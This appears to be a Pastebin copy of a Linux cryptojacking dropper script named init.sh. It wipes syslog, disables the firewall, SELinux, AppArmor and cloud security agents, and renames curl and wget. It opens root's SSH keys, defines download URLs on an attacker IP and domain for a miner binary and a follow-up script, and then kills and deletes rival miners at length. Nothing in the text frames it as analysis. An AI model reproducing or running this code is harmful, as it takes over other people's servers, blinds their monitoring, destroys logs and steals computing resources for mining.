API tools faq
paste
Advertisement
g370

init.sh

g370
Jun 9th, 2021
797
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 41.65 KB | None | 0 0
raw download clone embed print report
  1. #!/bin/sh
  2. ulimit -n 65535
  3. rm -rf /var/log/syslog
  4. chmod 777 /usr/bin/chattr
  5. chmod 777 /bin/chattr
  6. chattr -iua /tmp/
  7. chattr -iua /var/tmp/
  8. ufw disable
  9. iptables -F
  10. sysctl kernel.nmi_watchdog=0
  11. echo '0' >/proc/sys/kernel/nmi_watchdog
  12. echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf
  13. chattr -iae /root/.ssh/
  14. chattr -iae /root/.ssh/authorized_keys
  15. rm -rf /tmp/addres*
  16. rm -rf /tmp/walle*
  17. rm -rf /tmp/keys
  18.  
  19. crondir='/var/spool/cron/'"$USER"
  20. cont=`cat ${crondir}`
  21. ssht=`cat /root/.ssh/authorized_keys`
  22. echo 1 > /etc/zzhs
  23. rtdir="/etc/zzhs"
  24. bbdir="/usr/bin/curl"
  25. bbdira="/usr/bin/cd1"
  26. ccdir="/usr/bin/wget"
  27. ccdira="/usr/bin/wd1"
  28.  
  29. mv /usr/bin/wgettnt /usr/bin/wd1
  30. mv /usr/bin/curltnt /usr/bin/cd1
  31. mv /usr/bin/wget1 /usr/bin/wd1
  32. mv /usr/bin/curl1 /usr/bin/cd1
  33. mv /usr/bin/cur /usr/bin/cd1
  34. mv /usr/bin/cdl /usr/bin/cd1
  35. mv /usr/bin/cdt /usr/bin/cd1
  36. mv /usr/bin/xget /usr/bin/wd1
  37. mv /usr/bin/wge /usr/bin/wd1
  38. mv /usr/bin/wdl /usr/bin/wd1
  39. mv /usr/bin/wdt /usr/bin/wd1
  40. mv /usr/bin/wget /usr/bin/wd1
  41. mv /usr/bin/curl /usr/bin/cd1
  42.  
  43. if ps aux | grep -i '[a]liyun'; then
  44.   $bbdir http://update.aegis.aliyun.com/download/uninstall.sh | bash
  45.   $bbdir http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
  46.   $bbdira http://update.aegis.aliyun.com/download/uninstall.sh | bash
  47.   $bbdira http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
  48.   pkill aliyun-service
  49.   rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
  50.   rm -rf /usr/local/aegis*
  51.   systemctl stop aliyun.service
  52.   systemctl disable aliyun.service
  53.   service bcm-agent stop
  54.   yum remove bcm-agent -y
  55.   apt-get remove bcm-agent -y
  56. elif ps aux | grep -i '[y]unjing'; then
  57.   /usr/local/qcloud/stargate/admin/uninstall.sh
  58.   /usr/local/qcloud/YunJing/uninst.sh
  59.   /usr/local/qcloud/monitor/barad/admin/uninstall.sh
  60. fi
  61.  
  62. setenforce 0
  63. echo SELINUX=disabled >/etc/selinux/config
  64. service apparmor stop
  65. systemctl disable apparmor
  66. service aliyun.service stop
  67. systemctl disable aliyun.service
  68. ps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs -I % kill -9 %
  69. ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs -I % kill -9 %
  70.  
  71. rm -rf /usr/local/aegis
  72. rm -f /tmp/.null 2>/dev/null
  73.  
  74. miner_url="http://45.133.203.192/cleanfda/zzh"
  75. miner_url_backup="http://py2web.store/cleanfda/zzh"
  76. miner_size="6006304"
  77. sh_url="http://45.133.203.192/cleanfda/newinit.sh"
  78. sh_url_backup="http://py2web.store/cleanfda/newinit.sh"
  79. chattr_size="8000"
  80.  
  81.  
  82. sleep 1
  83. if [ -x "$(command -v apt-get)" ]; then
  84. export DEBIAN_FRONTEND=noninteractive
  85. apt-get install -y unhide
  86. apt-get install -y gawk
  87. fi
  88. if [ -x "$(command -v yum)" ]; then
  89. yum install -y epel-release
  90. yum install -y unhide
  91. yum install -y gawk
  92. fi
  93.  
  94. sleep 1
  95. dddir="/usr/sbin/unhide"
  96. $dddir quick |grep PID:|awk '{print $4}'|xargs -I % kill -9 % 2>/dev/null
  97.  
  98. sleep 1
  99.  
  100. if [ -x "$(command -v t)" ]; then
  101. mv /usr/bin/t /usr/bin/chattr
  102. fi
  103.  
  104. if [ -x "$(command -v chattr)" ]; then
  105. chattr -i /usr/bin/ip6network
  106. chattr -i /usr/bin/kswaped
  107. chattr -i /usr/bin/irqbalanced
  108. chattr -i /usr/bin/rctlcli
  109. chattr -i /usr/bin/systemd-network
  110. chattr -i /usr/bin/pamdicks
  111. echo 1 > /usr/bin/ip6network
  112. echo 2 > /usr/bin/kswaped
  113. echo 3 > /usr/bin/irqbalanced
  114. echo 4 > /usr/bin/rctlcli
  115. echo 5 > /usr/bin/systemd-network
  116. echo 6 > /usr/bin/pamdicks
  117. chattr +i /usr/bin/ip6network
  118. chattr +i /usr/bin/kswaped
  119. chattr +i /usr/bin/irqbalanced
  120. chattr +i /usr/bin/rctlcli
  121. chattr +i /usr/bin/systemd-network
  122. chattr +i /usr/bin/pamdicks
  123. fi
  124. sleep 1
  125.  
  126. kill_miner_proc()
  127. {
  128. netstat -anp | grep 185.71.65.238 | awk '{print $7}' | awk -F'[/]' '{print $1}' | xargs -I % kill -9 %
  129. netstat -anp | grep 140.82.52.87 | awk '{print $7}' | awk -F'[/]' '{print $1}' | xargs -I % kill -9 %
  130. netstat -anp | grep :443 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  131. netstat -anp | grep :23 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  132. netstat -anp | grep :443 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  133. netstat -anp | grep :143 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  134. netstat -anp | grep :2222 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  135. netstat -anp | grep :3333 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  136. netstat -anp | grep :3389 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  137. netstat -anp | grep :5555 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  138. netstat -anp | grep :6666 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  139. netstat -anp | grep :6665 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  140. netstat -anp | grep :6667 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  141. netstat -anp | grep :7777 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  142. netstat -anp | grep :8444 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  143. netstat -anp | grep :3347 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  144. netstat -anp | grep :10008 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  145. ps aux | grep -v grep | grep ':3333' | awk '{print $2}' | xargs -I % kill -9 %
  146. ps aux | grep -v grep | grep ':5555' | awk '{print $2}' | xargs -I % kill -9 %
  147. ps aux | grep -v grep | grep 'kworker -c\' | awk '{print $2}' | xargs -I % kill -9 %
  148. ps aux | grep -v grep | grep 'log_' | awk '{print $2}' | xargs -I % kill -9 %
  149. ps aux | grep -v grep | grep 'systemten' | awk '{print $2}' | xargs -I % kill -9 %
  150. ps aux | grep -v grep | grep 'netns' | awk '{print $2}' | xargs -I % kill -9 %
  151. ps aux | grep -v grep | grep 'voltuned' | awk '{print $2}' | xargs -I % kill -9 %
  152. ps aux | grep -v grep | grep 'darwin' | awk '{print $2}' | xargs -I % kill -9 %
  153. ps aux | grep -v grep | grep '/tmp/dl' | awk '{print $2}' | xargs -I % kill -9 %
  154. ps aux | grep -v grep | grep '/tmp/ddg' | awk '{print $2}' | xargs -I % kill -9 %
  155. ps aux | grep -v grep | grep '/tmp/pprt' | awk '{print $2}' | xargs -I % kill -9 %
  156. ps aux | grep -v grep | grep '/tmp/ppol' | awk '{print $2}' | xargs -I % kill -9 %
  157. ps aux | grep -v grep | grep '/tmp/65ccE*' | awk '{print $2}' | xargs -I % kill -9 %
  158. ps aux | grep -v grep | grep '/tmp/jmx*' | awk '{print $2}' | xargs -I % kill -9 %
  159. ps aux | grep -v grep | grep '/tmp/2Ne80*' | awk '{print $2}' | xargs -I % kill -9 %
  160. ps aux | grep -v grep | grep 'IOFoqIgyC0zmf2UR' | awk '{print $2}' | xargs -I % kill -9 %
  161. ps aux | grep -v grep | grep '45.76.122.92' | awk '{print $2}' | xargs -I % kill -9 %
  162. ps aux | grep -v grep | grep '51.38.191.178' | awk '{print $2}' | xargs -I % kill -9 %
  163. ps aux | grep -v grep | grep '51.15.56.161' | awk '{print $2}' | xargs -I % kill -9 %
  164. ps aux | grep -v grep | grep '86s.jpg' | awk '{print $2}' | xargs -I % kill -9 %
  165. ps aux | grep -v grep | grep 'aGTSGJJp' | awk '{print $2}' | xargs -I % kill -9 %
  166. ps aux | grep -v grep | grep 'nMrfmnRa' | awk '{print $2}' | xargs -I % kill -9 %
  167. ps aux | grep -v grep | grep 'PuNY5tm2' | awk '{print $2}' | xargs -I % kill -9 %
  168. ps aux | grep -v grep | grep 'I0r8Jyyt' | awk '{print $2}' | xargs -I % kill -9 %
  169. ps aux | grep -v grep | grep 'AgdgACUD' | awk '{print $2}' | xargs -I % kill -9 %
  170. ps aux | grep -v grep | grep 'uiZvwxG8' | awk '{print $2}' | xargs -I % kill -9 %
  171. ps aux | grep -v grep | grep 'hahwNEdB' | awk '{print $2}' | xargs -I % kill -9 %
  172. ps aux | grep -v grep | grep 'BtwXn5qH' | awk '{print $2}' | xargs -I % kill -9 %
  173. ps aux | grep -v grep | grep '3XEzey2T' | awk '{print $2}' | xargs -I % kill -9 %
  174. ps aux | grep -v grep | grep 't2tKrCSZ' | awk '{print $2}' | xargs -I % kill -9 %
  175. ps aux | grep -v grep | grep 'HD7fcBgg' | awk '{print $2}' | xargs -I % kill -9 %
  176. ps aux | grep -v grep | grep 'zXcDajSs' | awk '{print $2}' | xargs -I % kill -9 %
  177. ps aux | grep -v grep | grep '3lmigMo' | awk '{print $2}' | xargs -I % kill -9 %
  178. ps aux | grep -v grep | grep 'AkMK4A2' | awk '{print $2}' | xargs -I % kill -9 %
  179. ps aux | grep -v grep | grep 'AJ2AkKe' | awk '{print $2}' | xargs -I % kill -9 %
  180. ps aux | grep -v grep | grep 'HiPxCJRS' | awk '{print $2}' | xargs -I % kill -9 %
  181. ps aux | grep -v grep | grep 'http_0xCC030' | awk '{print $2}' | xargs -I % kill -9 %
  182. ps aux | grep -v grep | grep 'http_0xCC031' | awk '{print $2}' | xargs -I % kill -9 %
  183. ps aux | grep -v grep | grep 'http_0xCC032' | awk '{print $2}' | xargs -I % kill -9 %
  184. ps aux | grep -v grep | grep 'http_0xCC033' | awk '{print $2}' | xargs -I % kill -9 %
  185. ps aux | grep -v grep | grep "C4iLM4L" | awk '{print $2}' | xargs -I % kill -9 %
  186. ps aux | grep -v grep | grep 'aziplcr72qjhzvin' | awk '{print $2}' | xargs -I % kill -9 %
  187. ps aux | grep -v grep | awk '{ if(substr($11,1,2)=="./" && substr($12,1,2)=="./") print $2 }' | xargs -I % kill -9 %
  188. ps aux | grep -v grep | grep '/boot/vmlinuz' | awk '{print $2}' | xargs -I % kill -9 %
  189. ps aux | grep -v grep | grep "i4b503a52cc5" | awk '{print $2}' | xargs -I % kill -9 %
  190. ps aux | grep -v grep | grep "dgqtrcst23rtdi3ldqk322j2" | awk '{print $2}' | xargs -I % kill -9 %
  191. ps aux | grep -v grep | grep "2g0uv7npuhrlatd" | awk '{print $2}' | xargs -I % kill -9 %
  192. ps aux | grep -v grep | grep "nqscheduler" | awk '{print $2}' | xargs -I % kill -9 %
  193. ps aux | grep -v grep | grep "rkebbwgqpl4npmm" | awk '{print $2}' | xargs -I % kill -9 %
  194. ps aux | grep -v grep | grep -v aux | grep "]" | awk '$3>10.0{print $2}' | xargs -I % kill -9 %
  195. ps aux | grep -v grep | grep "2fhtu70teuhtoh78jc5s" | awk '{print $2}' | xargs -I % kill -9 %
  196. ps aux | grep -v grep | grep "0kwti6ut420t" | awk '{print $2}' | xargs -I % kill -9 %
  197. ps aux | grep -v grep | grep "44ct7udt0patws3agkdfqnjm" | awk '{print $2}' | xargs -I % kill -9 %
  198. ps aux | grep -v grep | grep -v "/" | grep -v "-" | grep -v "_" | awk 'length($11)>19{print $2}' | xargs -I % kill -9 %
  199. ps aux | grep -v grep | grep "\[^" | awk '{print $2}' | xargs -I % kill -9 %
  200. ps aux | grep -v grep | grep "rsync" | awk '{print $2}' | xargs -I % kill -9 %
  201. ps aux | grep -v grep | grep "watchd0g" | awk '{print $2}' | xargs -I % kill -9 %
  202. ps aux | grep -v grep | egrep 'wnTKYg|2t3ik|qW3xT.2|ddg' | awk '{print $2}' | xargs -I % kill -9 %
  203. ps aux | grep -v grep | grep "158.69.133.18:8220" | awk '{print $2}' | xargs -I % kill -9 %
  204. ps aux | grep -v grep | grep "/tmp/java" | awk '{print $2}' | xargs -I % kill -9 %
  205. ps aux | grep -v grep | grep 'gitee.com' | awk '{print $2}' | xargs -I % kill -9 %
  206. ps aux | grep -v grep | grep '/tmp/java' | awk '{print $2}' | xargs -I % kill -9 %
  207. ps aux | grep -v grep | grep '104.248.4.162' | awk '{print $2}' | xargs -I % kill -9 %
  208. ps aux | grep -v grep | grep '89.35.39.78' | awk '{print $2}' | xargs -I % kill -9 %
  209. ps aux | grep -v grep | grep '/dev/shm/z3.sh' | awk '{print $2}' | xargs -I % kill -9 %
  210. ps aux | grep -v grep | grep 'kthrotlds' | awk '{print $2}' | xargs -I % kill -9 %
  211. ps aux | grep -v grep | grep 'ksoftirqds' | awk '{print $2}' | xargs -I % kill -9 %
  212. ps aux | grep -v grep | grep 'netdns' | awk '{print $2}' | xargs -I % kill -9 %
  213. ps aux | grep -v grep | grep 'watchdogs' | awk '{print $2}' | xargs -I % kill -9 %
  214. ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print $2}' | xargs -I % kill -9 %
  215. ps aux | grep -v grep | grep 'kinsing' | awk '{print $2}' | xargs -I % kill -9 %
  216. ps aux | grep -v grep | grep 'redis2' | awk '{print $2}' | xargs -I % kill -9 %
  217. ps aux | grep -v grep | grep -v aux | grep " ps" | awk '{print $2}' | xargs -I % kill -9 %
  218. ps aux | grep -v grep | grep "sync_supers" | cut -c 9-15 | xargs -I % kill -9 %
  219. ps aux | grep -v grep | grep "cpuset" | cut -c 9-15 | xargs -I % kill -9 %
  220. ps aux | grep -v grep | grep -v aux | grep "x]" | awk '{print $2}' | xargs -I % kill -9 %
  221. ps aux | grep -v grep | grep -v aux | grep "sh] <" | awk '{print $2}' | xargs -I % kill -9 %
  222. ps aux | grep -v grep | grep -v aux | grep " \[]" | awk '{print $2}' | xargs -I % kill -9 %
  223. ps aux | grep -v grep | grep '/tmp/l.sh' | awk '{print $2}' | xargs -I % kill -9 %
  224. ps aux | grep -v grep | grep '/tmp/zmcat' | awk '{print $2}' | xargs -I % kill -9 %
  225. ps aux | grep -v grep | grep 'hahwNEdB' | awk '{print $2}' | xargs -I % kill -9 %
  226. ps aux | grep -v grep | grep 'CnzFVPLF' | awk '{print $2}' | xargs -I % kill -9 %
  227. ps aux | grep -v grep | grep 'CvKzzZLs' | awk '{print $2}' | xargs -I % kill -9 %
  228. ps aux | grep -v grep | grep 'aziplcr72qjhzvin' | awk '{print $2}' | xargs -I % kill -9 %
  229. ps aux | grep -v grep | grep '/tmp/udevd' | awk '{print $2}' | xargs -I % kill -9 %
  230. ps aux | grep -v grep | grep 'KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA' | awk '{print $2}' | xargs -I % kill -9 %
  231. ps aux | grep -v grep | grep 'Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo' | awk '{print $2}' | xargs -I % kill -9 %
  232. ps aux | grep -v grep | grep 'sustse' | awk '{print $2}' | xargs -I % kill -9 %
  233. ps aux | grep -v grep | grep 'sustse3' | awk '{print $2}' | xargs -I % kill -9 %
  234. ps aux | grep -v grep | grep 'mr.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
  235. ps aux | grep -v grep | grep 'mr.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
  236. ps aux | grep -v grep | grep '2mr.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
  237. ps aux | grep -v grep | grep '2mr.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
  238. ps aux | grep -v grep | grep 'cr5.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
  239. ps aux | grep -v grep | grep 'cr5.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
  240. ps aux | grep -v grep | grep 'logo9.jpg' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
  241. ps aux | grep -v grep | grep 'logo9.jpg' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
  242. ps aux | grep -v grep | grep 'j2.conf' | awk '{print $2}' | xargs -I % kill -9 %
  243. ps aux | grep -v grep | grep 'luk-cpu' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
  244. ps aux | grep -v grep | grep 'luk-cpu' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
  245. ps aux | grep -v grep | grep 'ficov' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
  246. ps aux | grep -v grep | grep 'ficov' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
  247. ps aux | grep -v grep | grep 'he.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
  248. ps aux | grep -v grep | grep 'he.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
  249. ps aux | grep -v grep | grep 'miner.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
  250. ps aux | grep -v grep | grep 'miner.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
  251. ps aux | grep -v grep | grep 'nullcrew' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
  252. ps aux | grep -v grep | grep 'nullcrew' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
  253. ps aux | grep -v grep | grep '107.174.47.156' | awk '{print $2}' | xargs -I % kill -9 %
  254. ps aux | grep -v grep | grep '83.220.169.247' | awk '{print $2}' | xargs -I % kill -9 %
  255. ps aux | grep -v grep | grep '51.38.203.146' | awk '{print $2}' | xargs -I % kill -9 %
  256. ps aux | grep -v grep | grep '144.217.45.45' | awk '{print $2}' | xargs -I % kill -9 %
  257. ps aux | grep -v grep | grep '107.174.47.181' | awk '{print $2}' | xargs -I % kill -9 %
  258. ps aux | grep -v grep | grep '176.31.6.16' | awk '{print $2}' | xargs -I % kill -9 %
  259. ps auxf | grep -v grep | grep "mine.moneropool.com" | awk '{print $2}' | xargs -I % kill -9 %
  260. ps auxf | grep -v grep | grep "pool.t00ls.ru" | awk '{print $2}' | xargs -I % kill -9 %
  261. ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:8080" | awk '{print $2}' | xargs -I % kill -9 %
  262. ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:3333" | awk '{print $2}' | xargs -I % kill -9 %
  263. ps auxf | grep -v grep | grep "zhuabcn@yahoo.com" | awk '{print $2}' | xargs -I % kill -9 %
  264. ps auxf | grep -v grep | grep "monerohash.com" | awk '{print $2}' | xargs -I % kill -9 %
  265. ps auxf | grep -v grep | grep "/tmp/a7b104c270" | awk '{print $2}' | xargs -I % kill -9 %
  266. ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:6666" | awk '{print $2}' | xargs -I % kill -9 %
  267. ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:7777" | awk '{print $2}' | xargs -I % kill -9 %
  268. ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:443" | awk '{print $2}' | xargs -I % kill -9 %
  269. ps auxf | grep -v grep | grep "stratum.f2pool.com:8888" | awk '{print $2}' | xargs -I % kill -9 %
  270. ps auxf | grep -v grep | grep "xmrpool.eu" | awk '{print $2}' | xargs -I % kill -9 %
  271. ps auxf | grep -v grep | grep "kieuanilam.me" | awk '{print $2}' | xargs -I % kill -9 %
  272. ps auxf | grep xiaoyao | awk '{print $2}' | xargs -I % kill -9 %
  273. ps auxf | grep xiaoxue | awk '{print $2}' | xargs -I % kill -9 %
  274. netstat -antp | grep '46.243.253.15' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  275. netstat -antp | grep '176.31.6.16' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  276. pgrep -f L2Jpbi9iYXN | xargs -I % kill -9 %
  277. pgrep -f xzpauectgr | xargs -I % kill -9 %
  278. pgrep -f slxfbkmxtd | xargs -I % kill -9 %
  279. pgrep -f mixtape | xargs -I % kill -9 %
  280. pgrep -f addnj | xargs -I % kill -9 %
  281. pgrep -f 200.68.17.196 | xargs -I % kill -9 %
  282. pgrep -f IyEvYmluL3NoCgpzUG | xargs -I % kill -9 %
  283. pgrep -f KHdnZXQgLXFPLSBodHRw | xargs -I % kill -9 %
  284. pgrep -f FEQ3eSp8omko5nx9e97hQ39NS3NMo6rxVQS3 | xargs -I % kill -9 %
  285. pgrep -f Y3VybCAxOTEuMTAxLjE4MC43Ni9saW4udHh0IHxzaAo | xargs -I % kill -9 %
  286. pgrep -f mwyumwdbpq.conf | xargs -I % kill -9 %
  287. pgrep -f honvbsasbf.conf | xargs -I % kill -9 %
  288. pgrep -f mqdsflm.cf | xargs -I % kill -9 %
  289. pgrep -f lower.sh | xargs -I % kill -9 %
  290. pgrep -f ./ppp | xargs -I % kill -9 %
  291. pgrep -f cryptonight | xargs -I % kill -9 %
  292. pgrep -f ./seervceaess | xargs -I % kill -9 %
  293. pgrep -f ./servceaess | xargs -I % kill -9 %
  294. pgrep -f ./servceas | xargs -I % kill -9 %
  295. pgrep -f ./servcesa | xargs -I % kill -9 %
  296. pgrep -f ./vsp | xargs -I % kill -9 %
  297. pgrep -f ./jvs | xargs -I % kill -9 %
  298. pgrep -f ./pvv | xargs -I % kill -9 %
  299. pgrep -f ./vpp | xargs -I % kill -9 %
  300. pgrep -f ./pces | xargs -I % kill -9 %
  301. pgrep -f ./rspce | xargs -I % kill -9 %
  302. pgrep -f ./haveged | xargs -I % kill -9 %
  303. pgrep -f ./jiba | xargs -I % kill -9 %
  304. pgrep -f ./watchbog | xargs -I % kill -9 %
  305. pgrep -f ./A7mA5gb | xargs -I % kill -9 %
  306. pgrep -f kacpi_svc | xargs -I % kill -9 %
  307. pgrep -f kswap_svc | xargs -I % kill -9 %
  308. pgrep -f kauditd_svc | xargs -I % kill -9 %
  309. pgrep -f kpsmoused_svc | xargs -I % kill -9 %
  310. pgrep -f kseriod_svc | xargs -I % kill -9 %
  311. pgrep -f kthreadd_svc | xargs -I % kill -9 %
  312. pgrep -f ksoftirqd_svc | xargs -I % kill -9 %
  313. pgrep -f kintegrityd_svc | xargs -I % kill -9 %
  314. pgrep -f jawa | xargs -I % kill -9 %
  315. pgrep -f oracle.jpg | xargs -I % kill -9 %
  316. pgrep -f 45cToD1FzkjAxHRBhYKKLg5utMGEN | xargs -I % kill -9 %
  317. pgrep -f 188.209.49.54 | xargs -I % kill -9 %
  318. pgrep -f 181.214.87.241 | xargs -I % kill -9 %
  319. pgrep -f etnkFgkKMumdqhrqxZ6729U7bY8pzRjYzGbXa5sDQ | xargs -I % kill -9 %
  320. pgrep -f 47TdedDgSXjZtJguKmYqha4sSrTvoPXnrYQEq2Lbj | xargs -I % kill -9 %
  321. pgrep -f etnkP9UjR55j9TKyiiXWiRELxTS51FjU9e1UapXyK | xargs -I % kill -9 %
  322. pgrep -f servim | xargs -I % kill -9 %
  323. pgrep -f kblockd_svc | xargs -I % kill -9 %
  324. pgrep -f native_svc | xargs -I % kill -9 %
  325. pgrep -f ynn | xargs -I % kill -9 %
  326. pgrep -f 65ccEJ7 | xargs -I % kill -9 %
  327. pgrep -f jmxx | xargs -I % kill -9 %
  328. pgrep -f 2Ne80nA | xargs -I % kill -9 %
  329. pgrep -f sysstats | xargs -I % kill -9 %
  330. pgrep -f systemxlv | xargs -I % kill -9 %
  331. pgrep -f watchbog | xargs -I % kill -9 %
  332. pgrep -f OIcJi1m | xargs -I % kill -9 %
  333. pkill -f biosetjenkins
  334. pkill -f Loopback
  335. pkill -f apaceha
  336. pkill -f cryptonight
  337. pkill -f mixnerdx
  338. pkill -f performedl
  339. pkill -f JnKihGjn
  340. pkill -f irqba2anc1
  341. pkill -f irqba5xnc1
  342. pkill -f irqbnc1
  343. pkill -f ir29xc1
  344. pkill -f conns
  345. pkill -f irqbalance
  346. pkill -f crypto-pool
  347. pkill -f XJnRj
  348. pkill -f mgwsl
  349. pkill -f pythno
  350. pkill -f jweri
  351. pkill -f lx26
  352. pkill -f NXLAi
  353. pkill -f BI5zj
  354. pkill -f askdljlqw
  355. pkill -f minerd
  356. pkill -f minergate
  357. pkill -f Guard.sh
  358. pkill -f ysaydh
  359. pkill -f bonns
  360. pkill -f donns
  361. pkill -f kxjd
  362. pkill -f Duck.sh
  363. pkill -f bonn.sh
  364. pkill -f conn.sh
  365. pkill -f kworker34
  366. pkill -f kw.sh
  367. pkill -f pro.sh
  368. pkill -f polkitd
  369. pkill -f acpid
  370. pkill -f icb5o
  371. pkill -f nopxi
  372. pkill -f irqbalanc1
  373. pkill -f minerd
  374. pkill -f i586
  375. pkill -f gddr
  376. pkill -f mstxmr
  377. pkill -f ddg.2011
  378. pkill -f wnTKYg
  379. pkill -f deamon
  380. pkill -f disk_genius
  381. pkill -f sourplum
  382. pkill -f polkitd
  383. pkill -f nanoWatch
  384. pkill -f zigw
  385. pkill -f devtool
  386. pkill -f devtools
  387. pkill -f systemctI
  388. pkill -f watchbog
  389. pkill -f cryptonight
  390. pkill -f sustes
  391. pkill -f xmrig
  392. pkill -f xmrig-cpu
  393. pkill -f 121.42.151.137
  394. pkill -f init12.cfg
  395. pkill -f nginxk
  396. pkill -f tmp/wc.conf
  397. pkill -f xmrig-notls
  398. pkill -f xmr-stak
  399. pkill -f suppoie
  400. pkill -f zer0day.ru
  401. pkill -f dbus-daemon--system
  402. pkill -f nullcrew
  403. pkill -f systemctI
  404. pkill -f kworkerds
  405. pkill -f init10.cfg
  406. pkill -f /wl.conf
  407. pkill -f crond64
  408. pkill -f sustse
  409. pkill -f vmlinuz
  410. pkill -f exin
  411. pkill -f apachiii
  412. pkill -f crypto
  413. pkill -f tntrecht
  414. pkill -f xr
  415. pkill -f svcupdate
  416. pkill -9 cnrig
  417. chattr -R -ia /usr/bin/config.json
  418. rm -rf /usr/bin/config.json
  419. rm -rf /usr/bin/exin
  420. rm -rf /tmp/wc.conf
  421. rm -rf /tmp/log_rot
  422. rm -rf /tmp/apachiii
  423. rm -rf /tmp/sustse
  424. rm -rf /tmp/php
  425. rm -rf /tmp/p2.conf
  426. rm -rf /tmp/pprt
  427. rm -rf /tmp/ppol
  428. rm -rf /tmp/javax/config.sh
  429. rm -rf /tmp/javax/sshd2
  430. rm -rf /tmp/.profile
  431. rm -rf /tmp/1.so
  432. rm -rf /tmp/kworkerds
  433. rm -rf /tmp/kworkerds3
  434. rm -rf /tmp/kworkerdssx
  435. rm -rf /tmp/xd.json
  436. rm -rf /tmp/syslogd
  437. rm -rf /tmp/syslogdb
  438. rm -rf /tmp/65ccEJ7
  439. rm -rf /tmp/jmxx
  440. rm -rf /tmp/2Ne80nA
  441. rm -rf /tmp/dl
  442. rm -rf /tmp/ddg
  443. rm -rf /tmp/systemxlv
  444. rm -rf /tmp/systemctI
  445. rm -rf /tmp/.abc
  446. rm -rf /tmp/osw.hb
  447. rm -rf /tmp/.tmpleve
  448. rm -rf /tmp/.tmpnewzz
  449. rm -rf /tmp/.java
  450. rm -rf /tmp/.omed
  451. rm -rf /tmp/.tmpc
  452. rm -rf /tmp/.tmpleve
  453. rm -rf /tmp/.tmpnewzz
  454. rm -rf /tmp/gates.lod
  455. rm -rf /tmp/conf.n
  456. rm -rf /tmp/devtool
  457. rm -rf /tmp/devtools
  458. rm -rf /tmp/fs
  459. rm -rf /tmp/.rod
  460. rm -rf /tmp/.rod.tgz
  461. rm -rf /tmp/.rod.tgz.1
  462. rm -rf /tmp/.rod.tgz.2
  463. rm -rf /tmp/.mer
  464. rm -rf /tmp/.mer.tgz
  465. rm -rf /tmp/.mer.tgz.1
  466. rm -rf /tmp/.hod
  467. rm -rf /tmp/.hod.tgz
  468. rm -rf /tmp/.hod.tgz.1
  469. rm -rf /tmp/84Onmce
  470. rm -rf /tmp/C4iLM4L
  471. rm -rf /tmp/lilpip
  472. rm -rf /tmp/3lmigMo
  473. rm -rf /tmp/am8jmBP
  474. rm -rf /tmp/tmp.txt
  475. rm -rf /tmp/baby
  476. rm -rf /tmp/.lib
  477. rm -rf /tmp/systemd
  478. rm -rf /tmp/lib.tar.gz
  479. rm -rf /tmp/baby
  480. rm -rf /tmp/java
  481. rm -rf /tmp/j2.conf
